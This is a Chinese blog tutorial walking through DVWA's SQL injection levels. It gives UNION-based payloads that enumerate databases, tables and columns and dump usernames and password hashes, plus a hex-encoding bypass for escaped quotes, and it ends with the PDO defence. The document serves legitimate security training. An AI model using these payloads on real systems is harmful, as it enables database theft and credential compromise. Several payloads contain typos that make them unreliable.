DVWA-SQL Injection级别通关详解
目录
SQL Injection手工注入
low级别
Medium级别
High级别
impossible级别分析
SQL Injection手工注入
low级别
判断注入
1.判断是否存在注入。
输入’,返回数据库报错信息,存在sql注入,且数据库类型暴露
2.判断sql注入漏洞类型(数值型方法判断)
输入1 and 1=1,页面返回正常
继续输入1 and 1=2,页面返回正常无变化,并非数字型
字符型方法判断
输入1' and '1'='1,页面返回正常
继续输入1' and '1'='2,页面无返回,页面无反应,即回显异常,说明此 Sql 注入为字符型注入
推测它的查询语句是这样
query:SELECT first_name, last_name FROM users WHERE user_id = '1';
查询所有id用户
输入
1’or 1=1 #
1' or 1=1 --
1' or 'abc'='abc
对应查询语句应该是这样:
query: SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 #'; SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 -- '; SELECT first_name, last_name FROM users WHERE user_id ='1' or 'abc' ='abc';
构造永远为真的条件进行查询,列出所有ID、First name、Surname
字符型,1后面跟的 ' 闭合前面的
'
#和--用于注释掉后面的 '
1’or 1=1 #
猜解所查询的字段数
方法1:order by num
输入:1' order by 2 #
select first_name,last_name from user where user_id = '1' and order by 1 #
这条语句的意思是查询users表中user_id为1的数据并按第一字段排行。
1' order by 3 #
以上,用1' order by 2 #进行提交,可正常查询出ID=1的2个字段值;用1' order by 3 #进行提交,则会出现异常提示。说明此处的select查询语句中查询的字段有2个
方法2:union select 1,2,3...
使用 union select联合查询获取信息。
输入:
1' union select 1 # 1
1' union select 1,2 #
1' union select 1,2,3 # 返回与1一样
说明有两个字段
显示位字段
那么我们就可以通过这些显示位,查看数据库信息、版本、用户信息等等。。
1' union select databases(),version() #
联合查询法解释:
union 运算符可以将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。需要注意在使用 union 查询的时候需要和主查询的列数相同,比如我们之前已经知道了主查询列数为 2,接下来
输入1' union select database(),user()#进行查询 :
- database()将会返回当前网站所使用的数据库名字.
- user()将会返回执行当前查询的用户名.
实际执行的Sql语句是 :
select first_name,last_name from users where user_id = '1' union select database(),user()#
同理,若要查询其他
1' union select version(),@@vesion_compile_os#
- version() 获取当前数据库版本.
- @@version_compile_os 获取当前操作系统。
获取所有数据库名称
1' union select 1,schema_name from information_schema.schamata#
Mysql安装后默认会创建三个数据库:information_schema、mysql和test;information_schema库下的schemata表中保存着DBMS中的所有数据库名称信息
获取当前连接数据库(dvwa)中所有表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
可以看到有三个表
已知当前数据库dvwa直接查询当前表名
information_schema 是 mySQL 自带的一张表,这张数据表保存了 MySQL 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。
1' union select table_namae,table_schema from information_schema from information_schema.tables where table_schema='dvwa'#
实际执行的sql语句
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;
通过上图返回信息,我们可以知道以下信息:
- dvwa 数据库有 2 个数据表
- 表名为 guestbook 和 users
猜解数据库字段名及爆库
接下来我们继续猜解数据库表中的字段名,因为需要知道字段名,才能查询数据库中存储的数据。
我们输入以下语句查询 users 表中的字段信息
1’ union select 1,group_concat(column_name) from informatioon_schema.columns where table_name='users'#
从输出结果可知,users 表中有 8 个字段,分别是 user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
直接告诉我们,这些字段中最敏感的是 user,password 这两个字段,所以输入:1' union select user,password from users#进行查询。
实际执行的 SQL 语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;
可以看到成功爆出用户名、密码,密码采用 md5 进行加密,可以到 https://www.cmd5.com/ 查询解密:
Medium级别
源码:
查看源代码
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); //mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。
同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
因为它改成下拉菜单,我们不能输入参数,所以我们可以通过Burp抓包、改包测试。
1.判断是否存在注入。
输入’,也买你返回数据库报错信息,存在sql注入,且数据库类型暴露
2.判断sql注入漏洞类型(数值型方法判断)
输入1 and 1=1,页面返回正常
继续输入1 and 1=2,页面无回显,返回异常,为数字型注入。
测试列数
输入到数字3时有了变化,所以此处的select查询语句中查询的字段有2个有2列
回显位置
接下来步骤应该和low级别一样就可以继续往下查询其他信息啦,但是如果仍然使用Low中爆表的方法,则会报错,因为 ’单引号被转义
由于对’单引号转义,所以用16进制进行绕过,dvwa的16进制为0x64767761即可(0x为16进制识别前缀)
获取关键数据
最后得到的密码是16进制数据,我们需要将其处理后使用。
1 union select user,password from users#
High级别
源码:
跟medium相比,high级别在查询语句添加了一个limit 1,希望只输出一个结果
虽然添加limit 1 ,但是我们可以将它注释掉。
剩下的方法和low级别过程大同小异了
impossible级别分析
源码:
可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,同时只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”,Anti-CSRFtoken机制的加入了进一步提高了安全性。
DVWA-SQL Injection级别通关详解相关推荐
- DVWA的安装教程和通关详解
DVWA的安装教程和通关详解 目录 一.环境搭建 1.下载和安装phpstudy 2.DVWA下载 3.DVWA安装 更改配置信息 解决爆红错误 二.Brute Force 1.LOW级别 2.Med ...
- 一文带你轻松搞懂事务隔离级别(图文详解)
本文由 SnailClimb 和读者 BugSpeak 共同完成. 事务隔离级别(图文详解) 什么是事务? 事务是逻辑上的一组操作,要么都执行,要么都不执行. 事务最经典也经常被拿出来说例子就是转账了 ...
- java 一个大事务下的新增、修改、查询_一文带你轻松搞懂事务隔离级别(图文详解)...
点击上方"linkoffer", 选择关注公众号高薪职位第一时间送达 本文由 SnailClimb 和读者 BugSpeak 共同完成. 事务隔离级别(图文详解) 什么是事务? 事 ...
- SQL注入攻防入门详解
转载自:http://www.cnblogs.com/heyuquan/archive/2012/10/31/2748577.html SQL注入攻防入门详解 =============安全性篇目录= ...
- SQL 注入攻防入门详解
为什么80%的码农都做不了架构师?>>> SQL 注入攻防入门详解 原文出处: 滴答的雨 毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对 ...
- 事务隔离级别(图文详解)
事务隔离级别(图文详解) 什么是事务? 事务是逻辑上的一组操作,要么都执行,要么都不执行. 事务最经典也经常被拿出来说例子就是转账了.假如小明要给小红转账1000元,这个转账会涉及到两个关键操作就是: ...
- sqli-labs通关详解
sqli-labs通关详解 Less1 Less1sqlmap运用 Less2 Less2sqlmap运用 Less3 sqlmap运用 Less4 sqlmap一把梭 Less5 sqlmap直接梭 ...
- SQL Server:触发器详解
SQL Server:触发器详解 1. 概述 2. 触发器的分类 3. Inserted和Deleted表 4. 触发器的执行过程 5. 创建触发器 6. 修改触发器: 7. 删除触发器: 8. 查看 ...
- Linux系统7个运行级别图文详解
Linux系统7个运行级别图文详解 当安装linux操作系统时将选择下列那一个操作 ______ A.选择 "图形登录方式" 设定系统开始运行级为4 B.选择 "文本登录 ...
最新文章
- treeselect 如何选中多个_word使用技巧之-如何让你工作效率翻倍提升
- NLP 层嵌入(embedding)层的理解 通俗易懂 转
- AI帮你写Python,安装只需5步,还能任你调教 | 开源
- 说实话,Intellij IDEA 自带的 Vim 插件真心不错!
- java 取绝对值_Java实现一致性哈希算法,并搭建环境测试其负载均衡特性
- QML编程之旅 之可视元素
- 【GDKOI2004】使命的召唤
- SpringSecurity过滤器链加载原理
- [NOIP2016 提高组] 愤怒的小鸟
- linux系统上安装toma,Linux-tar - osc_btnnkvs0的个人空间 - OSCHINA - 中文开源技术交流社区...
- ubuntu14.04下修改python默认版本
- aspose-cell 使用
- pat03-树3. Tree Traversals Again (25)
- three轨迹线在mapbox地图上显示
- 一次防火墙无法重启的排查过程和总结
- pdf安装 adobe acrobat reader DC
- sap 服务采购订单研究
- 不确定性推理——主观贝叶斯方法matlab实现
- mapbox-gl:创建Marker
- Excel.Application使用手册(API)
热门文章
- laravel学习1.0
- 交流耦合仪表放大器(AC-Coupled Instrumentation Amplifier)
- ce修改器我的世界服务器,如何用ce修改我的世界饥饿度 | 手游网游页游攻略大全...
- ARFoundation从零开始3-创建ARFoundation项目
- CNCC 2018 经典计算机算法技术论坛全解读 | CNCC 2018
- 扫码进入微信小程序使用WIFI进行UDP通信发送消息
- windows下创建进程,CreateProcess()详解及用法
- HTTP headers(HTTP头)
- 查看APP的MD5值
- 亿道信息丨12.2英寸加固平板丨三防平板丨工业平板丨货物追踪好助手